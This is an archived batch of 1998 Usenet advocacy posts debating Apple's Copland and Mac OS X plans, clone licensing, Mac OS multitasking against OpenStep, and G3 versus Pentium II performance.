References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu> <MPG.10239d85c7aea4289899f7@news.supernews.com> <6pdaqn$po4$1@nnrp1.dejanews.com>
In article <6pdaqn$po4$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com
says...
> In article <MPG.10239d85c7aea4289899f7@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > Yup. It said that the project known as Copland would run on all PPC
> > Macs. If Copland had shipped and that wasn't true, not all PPCs could
> > run it, you'd have a major point.
>
> First of all, shipping a product that they promised doesn't absolve them of
> lying. They said that I would be able run Copland on my 6100. Will I be able
> to? No. Secondly, Apple refered to Copland as their "next generation"
> operating system before the Copland code name was widely known. So I am still
> awaiting their "next generating" operating system for my 6100.
You can keep awaiting, you can keep calling them liars, you can even hold
your breath until you turn blue. If you'd gone into a coma right after
buying your 6100 and only woke up last week, maybe your position would be
reasonable.
But, it still ain't gonna happen, and I've run out my sympathy for those
still pointing to the Copland specs and saying they expect that on their
Macs.
Donald
From: eli@prometheus-music.com (Eli Goldberg)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 26 Jul 1998 21:57:11 -0800
Organization: Prometheus Music
Message-ID: <eli-2607982157120001@dynamic0.pm08.mv.best.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35BAB09C.F8830004@nstar.net> <6pg1av$5vr@news1.panix.com> <35BB8E53.DC3C13C4@nstar.net> <6pgutg$fie@news1.panix.com>
In article <6pgutg$fie@news1.panix.com>, sal@panix.com wrote:
> You keep bringing in all kinds of gonzo speculation
> and unconfirmed rumors.
Why don't you actually learn a bit about the topic you're trying to preach
about, perhaps, prior to decrying documented historical fact after fact as
'rumors'?
I'd recommend by starting with the excellent book "Apple", by Jim Carlton,
which pretty thoroughly documents the cloning period.
Just my $.02.
--- Eli Goldberg
Geek historian & former Apple employee-masochist.
--
http://www.prometheus-music.com
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 26 Jul 1998 03:43:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pe8kp$gv6@news1.panix.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <Macghod-2507980005020001@sdn-ar-001casbarp150.dialsprint.net> <joe.ragosta-2507980657360001@elk43.dol.net> <gmgraves-2507981429090001@sf-usr1-25-153.dialup.slip.net> <joe.ragosta-2507981928370001@elk82.dol.net>
On Sat, 25 Jul 1998 19:28:36 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>Just what would it take for you to finally admit that Apple did something
>right---a 40% overall market share?
2 years of solid growth would be a start.
Apple might be _better_ but they are not _well_
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 26 Jul 1998 03:43:25 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pe8kt$gv6@news1.panix.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AEF495.EEEF2844@nstar.net> <slrn6r6m6e.9fc.sal@panix3.panix.com> <35B42512.B4309896@nstar.net> <35b437a1.0@news.depaul.edu> <6p2hpj$rcg$1@nnrp1.dejanews.com> <tjlegg-2507980719420001@207.244.92.49> <35B9FA17.C75857C4@nstar.net>
On Sat, 25 Jul 1998 10:30:31 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>> Go read some history and some early 20th century muckracking Mr. Peck
>> before you comment on corporate America.
>I was wondering when you'd get around to suggesting that I was
>unfamiliar with the topic. It's quite common for you folks, I'm finding.
>It always seems to come hand-in-hand with a factless reporting of
>anti-capitalistic propaganda, which I find laughable.
-----^^^^^^^^^^^^^^^^^^^^^^^
It isn't anti-capitalisim, it is pro-social accountability. And how is
your pseudo intellectual liberation goobbledy-gook not propaganda?
>Please, if you will, begin the learned discussion. I would be glad to go
>toe-to-toe with you on American history, my erudite friend. Just leave
>the Germans Marx and Engels out of it, eh?
Are you aware of the labor abuse that occured during the late part of the
19th and early 20th centry? Why didn't conditions for all improve under
that era of unregulated capitalism? Why did the gap between rich and poor
grow? Why didn't conditions improve as employers competed for the best
workers? Why did the greatest boom of the US economy happen during the 50's
when unions were at there strongest?
I find your interpretation of history to be laughable.
>> I'm just fearing my America
>Your America? [chuckle]
It belongs to all of us.
>> has been dumbed down to the point that the
>> history of corporate America and the rationale for governmental regulation
>> has been lied out of existence by Svengalis like Limbaugh and Gingrich.
Well, at least Newt has half a clue. There are even things about him that I
<shuder> like </shuder> Limbaugh is nothing more then a shill for the
reactionary right.
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why are Macs better?
Date: Sun, 26 Jul 1998 21:42:51 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607982142510001@sdn-ar-002casbarp275.dialsprint.net>
References: <1998072421045300.RAA01111@ladder01.news.aol.com> <35b9158f.919536@news.mindspring.com> <35BBB5F1.165E3C5@NOSPAMnbnet.nb.ca> <Macghod-2607981933060001@sdn-ar-001casbarp068.dialsprint.net> <6pgrr9$81b$1@lwnws01.ne.highway1.com>
In article <6pgrr9$81b$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Macghod@concentric.net (Steve Sullivan) wrote:
> > I have installed software many times on openstep. Ya know what? You can
> > do other things while software is installing! Yes, amazing. Burn a cd
> > with toast, cant run any other apps at the same time. Hey Next people,
> > does openstep totally freeze up and disallow any other apps from running
> > when you burn a cd in openstep?
>
> Ostensibly you can, but in practice the answer is no. If you run any really
> heavy process into hogging a lot of system resources, I believe you will
> force a data underrun. This may be the kind of thing that could be helped
> with real-time scheduling (then again, maybe not).
Ok, but the thing is its phyically possible. The mac has several
instances where it does not do things very well, but the mac advocate
claims "but this is multitasking, doing two multiple things at once". So
I say, ok we will ignore physically being able to do more than one thing
but having the other things not perform well (for instance, download files
while playing carmageddon. The transfer will timeout). But, the mac
still has various instances where you simply cant open any other apps,
even if it takes no cpu power (open up a app, and dont even do anything)
So when someone says "the mac doesnot have real mt", I reply to those who
say to the original poster "hello, Cluephone ringing" by saying "while I
dont necessarily agree that the macos has no "REAL" multitasking, I can
totally understand why one would think that. Their are many cases where
you simply cant open any other apps, its physically imposible. When you
are burning a cd in toast, you are not able to open up anything else, no
matter how little cpu it uses". Openstep REALLY woke me up to how
deficient the macos is.
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 26 Jul 1998 21:43:05 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com>
In article <6pglve$1i1$6@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Sorry, I was wrong--it wasn't you. Which is why I said "IIRC" or "if I
> > remember correctly".
> >
> > As for suing me and punishing me to the extent the law will allow, I'm LOL.
>
> As long as your my little bitch and do what I said, self mockery doesn't
> concern me.
Hey, thats not very nice Mr kheit. I know Joe can make one extremely
exasperated, but do you have to resort to calling him your little bitch?
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sun, 26 Jul 1998 01:16:03 -0400
Organization: none
Message-ID: <id_est-2607980116030001@192.168.1.3>
References: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <id_est-2507980154590001@192.168.1.3> <Pine.SOL.3.96.980725230030.7987C-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980725230030.7987C-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Sat, 25 Jul 1998, tse_di wrote:
>
> > In article <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > Personally, I always liked the idea of a (configurable) shelf that would
> > show mounted items on it (floppy disk, server volumes, CD's, Hard disks
> > etc) as distinct from the rest of desktop. A floppy is inserted it simply
> > appears on the shelf. To unmount it one drags it off the shelf (plus menu
> > and context menu and keyboard available).
>
> That's an interesting way. I think there probably should be a wwidget too.
That is what I would put in the "configurable" part. For those that want
an empty drive (floppy,Zip,CD, whatever) to show (to show it is connected
and functioning) could switch that on, An eject widget could be turned on.
Mounted servers could be grouped into a "network" icon if you wanted, as
could hard drives, A user should have a choice of making their shelf as
crowded or empty as they wanted, whatever is functional for that user.
> > I have 4 drives in my apple menu and have no problem like this. I think
> > you may want to delete your Apple Menu Options preferences. it is
> > admittedly a flakey piece of software though.
>
> That doesn't matter. Deleting the prefs file works for a little while, but
> then it gets all confused again. Some other people have had this problem
> too. It is terribly annoying (or was until I trashed it and went with a
> 3rd party solution).
>
> I never had a problem with only one drive alias, but with my 5 aliases, it
> gets goofy after a day or two.
I should consider myself lucky that I have 4 drives and not 5s. AMO needs
to be fixed.
> Oh yes, but you can't manage configurations from one place. One big
> Network control panel is what I was thinking of (not just for PPP and
> TCP).
When the finally put true multihoming into networking (the ability to bind
one protocol to multiple interfaces and bind multiple addresses for the
same protocol to the same or multiple interfaces and to bind different
protocols to the same interface) the are going to have to radically rework
the network interface to make this make sense. It is hard enough to
explain multihoming to a lot of people let alone try to make it simple to
use and configure. I am hoping they get this one right.
From: not_the-spam_xxiii@biogate.com (Dave Martin)
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Mon, 27 Jul 1998 05:19:30 GMT
Message-ID: <35bc0d67.696796700@netnews.msn.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <m3vhor5llt.fsf@ws142.spray.fi> <6p2itr$pcs$1@nntp2.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
On 21 Jul 1998 17:25:15 GMT, kcd@babylon5.jumpgate.com (Kenneth C.
Dyke) wrote:
>what I'd call failing gracefully. Of course, since C++ constructors
>can't fail....(sorry, couldn't resist) ;)
urm, they can throw exceptions, so yes, C++ constructors can fail, and
the failure can be detected.
<*> - Know Future
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 02:32:33 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pgos1$1v1@newsb.netnews.att.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@e <35BB8E53.DC3C13C4@nstar.net>
Originator: gupta@tlctest
Apple's desire to keep cloners small ? Maybe after Jobs.
-arun gupta
Apple nixes Mac clone deal: Gateway's bid scuttled by
global components shortage.
(Gateway 2000 not to clone Macintosh operating system)(Brief Article)
PC Week, Sept 11, 1995 v12 n36 p50(1)
Author
Swartz, Jon
Full Text
Gateway 2000 Inc. has lost its bid to become the largest-volume maker
of Apple Macintosh clones.
Apple Computer Inc. nixed a Mac OS licensing deal with Gateway and
has put the pursuit of other deals on hold because of worldwide component
shortages.
Negotiations with Gateway, of North Sioux City, S.D., stalled when
it became apparent that Apple's latest bout with shortages--this
time caused by insufficient supplies of many of the chips that come
in the new Peripheral Component Interconnect Power Macs--will not
ease up until next spring, sources said.
Components in short supply reportedly include the PowerPC 604 chip,
certain ASICs (application-specific integrated circuits), dual in-line
memory modules, and dynamic RAM and static RAM. Currently, all Mac
clones must include the same chips as Apple's designs because the
Mac OS requires them.
Gateway reportedly approached Apple about building Mac-compatible
systems several months ago. The $2.7 billion PC maker would have
dwarfed Apple's other licensing partners, which include mostly small
clone makers. Gateway declined to comment.
Apple, of Cupertino, Calif., remains committed to its cloning efforts
but also must be responsible to its OS partners, said C. Lamar Potts,
Apple vice president of licensing.
"If we have a problem with component shortages, then potential licensees
would face the same problem," he said, declining further comment.
A global shortage of key components has bedeviled the PC industry
in general, which is experiencing explosive growth. According to
analysts, Apple's dependence on customized ASICs has exacerbated
the Mac shortage.
"The Mac platform is more customized and has a much narrower supply
base," said Mark Kirstein, senior analyst at Instat Inc., of Scottsdale,
Ariz. "When Apple consistently changes its ASICs, which are pretty
exotic, it puts a strain on components."
Apple is likely to get a reprieve from its self-imposed moratorium
on new licensing deals in the middle of next year, when the CHRP
(Common Hardware Reference Platform) becomes available. The platform,
which will enable users to run PowerPC versions of Mac OS, AIX, NetWare,
OS/2, Windows NT, and Solaris, does not rely on Apple-designed custom
ASICs, instead allowing clone makers to build Mac-compatible systems
based on a variety of standard PC components.
Some of the lead candidates for building CHRP-based Mac compatibles
are Dell Computer Corp., of Austin, Texas, and Compaq Computer Corp.,
of Houston, sources said. This could make it difficult for a second-
tier clone maker such as Gateway to obtain a Mac OS license, especially
now that Apple has limited resources to support Mac OS licensees,
several sources said.
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: Sun, 26 Jul 1998 19:33:11 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607981933110001@sdn-ar-001casbarp068.dialsprint.net>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net>
In article <35BBF9FA.5869D6D3@bellsouth.net>, murchy@bellsouth.net wrote:
> It's Ironic that some of you smirk at a "30%" advantage. Keep this in
mind, with a
> 30% advantage a 3D rendering job that takes 3 hours on a PC would take 2
hours on a
> G3 mac. Isn't that worth a little more money?
Oh please. First of all, you ignored the last sentance of the bellow quote.
Second, if a p2 topped out at 266 mhz, then you would have a point. But
it doesnt, AND a p2 333 is about the same speed as a g3 266, AND MUCH MUCH
CHEAPER for a machine with the same components as a g3 266 (ie the same
graphics card with same ammount of vram, same exact model hard drive, same
exact model cd, etc).
TELL ME THIS, how is it worth the extra money when you can buy a faster p2
that will also render the same job in 2 hours, AND WILL BE CHEAPER!!
This is verified by APple's own internal engineers. YOU were the one that
said a g3 smoked a p2. This is simply false. Not only is a p2 333 the
same speed as a g3 266, BUT ITS CHEAPER!!
So why dont you just apologize for all the wrong things you said, admit
that a g3 doesnt kick a p2's butt?
Then, you can satisfy your rabid pro apple ways by bragging about how a g3
powerbook smokes a p2 notebook in speed AS WELL as price/performance. At
least it will be the truth, and you can continue your rabid pro apple ways
> Steve Sullivan wrote:
>
> > HAHAHAHAHAHA, just tell that to Apple's own engineers, who tested the two
> > with 10 different photoshop functions and found a g3 266 to be ONLY %30
> > faster than a p2 266. So that would make a g3 266 as fast as what, a p2
> > 333? I wonder what the price difference between the two configured the
> > same would be...
> >
> > APple's own engineers showed that bytemark is many many many times more
> > inaccurate than spec. Get the spec numbers between a g3 266 and a p2 266,
> > then the bytemark numbers, and compare the two to apple's photoshop
> > results, you will see one is incredibly more off base than the other
> >
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 27 Jul 1998 02:48:18 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pgppi$20t@newsb.netnews.att.com>
References: <MPG.1024135494d5483f989a00@news.supernews.com> <B1E0E952-3F0D5@206.165.43.124>
Originator: gupta@tlctest
Lawson English <english@primenet.com> wrote:
>
>I still don't see how it was obtained. Apple only sells through CompUSA and
>independent Mac-only stores. This 9.4% figure implies that sales were SOOOO
>brisk for Macs these past few months through these limited outlets that
>nearly 1/10 of all sales for computers through retailers were through these
>select few stores. Something is bogus about the figure.
I agree. PC Data itself, in 1995, said that Windows 95 sold 900,000 copies
in the first four days. ( Microsoft had made an announcement of 1 million sold
in the first four days, back then.) This year, when Windows 98 sold
530,000 copies in the first four days, according to PC Data, it was
supposedly doing as well as Windows 95 had done. At least, that was their
press release -- that Windows 98 was doing as well as Windows 95; but
their own data, and the fact that Windows 98 is selling into a much bigger
market, one that has been growing 15-20% per year since 95, and with more
machines capable of hosting the new OS, says something else. (BTW, Microsoft
claimed its millionth copy of Windows 98 sold only three weeks after the
release.)
I don't see why PC Data would be any more accurate on the Macintosh.
The deduction is that perhaps this is a form of marketing. While one
would be glad to see that Apple is learning how to play the game, one must
take all this with a liberal pinch of salt.
-arun gupta
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 26 Jul 1998 00:25:44 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980726001949.7987E-100000@ux7.cso.uiuc.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <Pine.SOL.3.96.980722114004.22438H-100000@ux8.cso.uiuc.edu> <anewmanagn-2407982316290001@a4p22.ideasign.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <anewmanagn-2407982316290001@a4p22.ideasign.com>
On Fri, 24 Jul 1998, Allen Newman wrote:
> Apple's marketshare (percentage of new computer sales) for May and June
> has risen to over 9%. This is over DOUBLE what it was at the beginning of
> the year. Who are these "new" buyers? Surely many of them are former Mac
> clone users. Looks like there are a lot of people who weren't offended
> enough by Apple's clone killing to leave the platform.
Apple's _US_retail_ market share doubled. This is not the same thing.
Sales of Macs has stayed mostly flat this year. This is a partial reversal
of the trend last year (which was down down down), but in no way
constitutes a huge comeback.
> ...just like there won't be a fatal number of people who leave the
> platform based on a perceived lack of Mac OS X support for their
> two-plus-year-old machines (age at time of OS X release).
You are drawing this conclusion based on erroneous assumptions. Apple's
world wide market share has been _decreasing_. It _still_ is. Apple will
have to dramatically increase sales before its share begins to increase
again.
> Apple will probably sell more OS X-compatible iMacs and subsequent
> low-cost machines than all the expensive 604e machines that were sold.
Apple will sell 3-4 million iMac equivalent machines? That's possible I
suppose, but I doubt it will be that high by the time Mac OS X comes out.
Furthermore, the people who would buy such machines are less likely to
upgrade their OS than the people who bought the "expensive 604e machines".
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2407981630080001@wil51.dol.net> <35BB8E53.DC3C13C4@nstar.net> <6pgos1$1v1@newsb.netnews.att.com>
Message-ID: <35bbeef9.0@news.depaul.edu>
Date: 27 Jul 98 03:07:37 GMT
This article has interesting implications for the OS/X-G3 issue,
particularly the mention of consistently changed, complex ASICs,
and also the dependence of MacOS on particular chips which were
in short supply.
Anyone have independant confirmation on any of this?
In comp.sys.next.advocacy gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Apple's desire to keep cloners small ? Maybe after Jobs.
> -arun gupta
> Apple nixes Mac clone deal: Gateway's bid scuttled by
> global components shortage.
> (Gateway 2000 not to clone Macintosh operating system)(Brief Article)
> PC Week, Sept 11, 1995 v12 n36 p50(1)
> Author
> Swartz, Jon
> Full Text
> Gateway 2000 Inc. has lost its bid to become the largest-volume maker
> of Apple Macintosh clones.
> Apple Computer Inc. nixed a Mac OS licensing deal with Gateway and
> has put the pursuit of other deals on hold because of worldwide component
> shortages.
> Negotiations with Gateway, of North Sioux City, S.D., stalled when
> it became apparent that Apple's latest bout with shortages--this
> time caused by insufficient supplies of many of the chips that come
> in the new Peripheral Component Interconnect Power Macs--will not
> ease up until next spring, sources said.
> Components in short supply reportedly include the PowerPC 604 chip,
> certain ASICs (application-specific integrated circuits), dual in-line
> memory modules, and dynamic RAM and static RAM. Currently, all Mac
> clones must include the same chips as Apple's designs because the
> Mac OS requires them.
> Gateway reportedly approached Apple about building Mac-compatible
> systems several months ago. The $2.7 billion PC maker would have
> dwarfed Apple's other licensing partners, which include mostly small
> clone makers. Gateway declined to comment.
> Apple, of Cupertino, Calif., remains committed to its cloning efforts
> but also must be responsible to its OS partners, said C. Lamar Potts,
> Apple vice president of licensing.
> "If we have a problem with component shortages, then potential licensees
> would face the same problem," he said, declining further comment.
> A global shortage of key components has bedeviled the PC industry
> in general, which is experiencing explosive growth. According to
> analysts, Apple's dependence on customized ASICs has exacerbated
> the Mac shortage.
> "The Mac platform is more customized and has a much narrower supply
> base," said Mark Kirstein, senior analyst at Instat Inc., of Scottsdale,
> Ariz. "When Apple consistently changes its ASICs, which are pretty
> exotic, it puts a strain on components."
> Apple is likely to get a reprieve from its self-imposed moratorium
> on new licensing deals in the middle of next year, when the CHRP
> (Common Hardware Reference Platform) becomes available. The platform,
> which will enable users to run PowerPC versions of Mac OS, AIX, NetWare,
> OS/2, Windows NT, and Solaris, does not rely on Apple-designed custom
> ASICs, instead allowing clone makers to build Mac-compatible systems
> based on a variety of standard PC components.
> Some of the lead candidates for building CHRP-based Mac compatibles
> are Dell Computer Corp., of Austin, Texas, and Compaq Computer Corp.,
> of Houston, sources said. This could make it difficult for a second-
> tier clone maker such as Gateway to obtain a Mac OS license, especially
> now that Apple has limited resources to support Mac OS licensees,
> several sources said.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 07:23:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ph9u7$fp5$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net>
In article <Josh.McKee-2507980855240001@pm3a23.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> OK...name a situation where the Macs multitasking is worse than Windows 95.
While an application is launching under the MacOS, no other application can be
scheduled.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 23:43:10 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu>
References: <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <not-2407981816490001@ip-26-140.phx.primenet.com>
On Fri, 24 Jul 1998, Michael M. Eilers wrote:
> In article <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> Ryan, you've raised a lot of good points, but I just don't have the time
> or energy to discuss them all. However, ther were some that were very
> interesting, so I've responded to them below:
Yeah, these messages have been rather long. Apart from the relatively
large time to respond, it takes a while to read them. :)
> I don't think Mac OS X will be advertised (if it is at all) as a
> headrware-breaker either, or as a reason to upgrade.
If Apple markets Mac OS X at all, you're probably right. I'm not entirely
sure that's a good thing.
> I think Apple
> considers OS X the OS to run on its "flagship" systems, and will pitch it
> in that way, and just pretend old hardware doesn't exist. That's just
> speculation on my part, but it rings true with Jobs and Tervanian's
> remarks at Macworld. Both had a pretty disdainful attitue of older
> hardware, saying that it would be "extremely unlikely" that OS X would run
> on G3-upgraded systems or clones.
Yes. It seemed to me that Apple was forced into clarifying its position on
hardware support for Mac OS X. I'm not sure they were expecting both the
interest and the outcry after things were clarified.
> > Mac users don't give much of a damn about the hardware. It's the OS.
>
> Actually, I would say the GUI rather than the OS, but you are
> fundamentally correct.
Well, yes. We definitely don't give a dame for the internals. Those are
crap, and at least some of us don't like it. (The rest just don't know
any better. ;)
> >The
> > hardware is an expensive route to the OS. Once they have the OS though
> > Apple does nothing to persuade users that they should have new versions.
> > Apple did a little better with Mac OS 8 than in the past, but it could do
> > better still.
>
> You are right about this, in a sense: Apple does not do enough to push the
> OS, and sticks to advertising the hardware. I think the reason for this is
> that OS differences are really hard to make compelling in a 30-second
> commercial, wheras "twice as fast" has a nice ring to it. I would love to
> see Apple market Allegro (8.5) aggressively on television--that would be
> wonderful. Especially if the adds were as funny and ascerbic as the PPC vs
> Intel ads (flaming bunny, etc.)
Given Apple's problems in the past with advertising, it's probably good
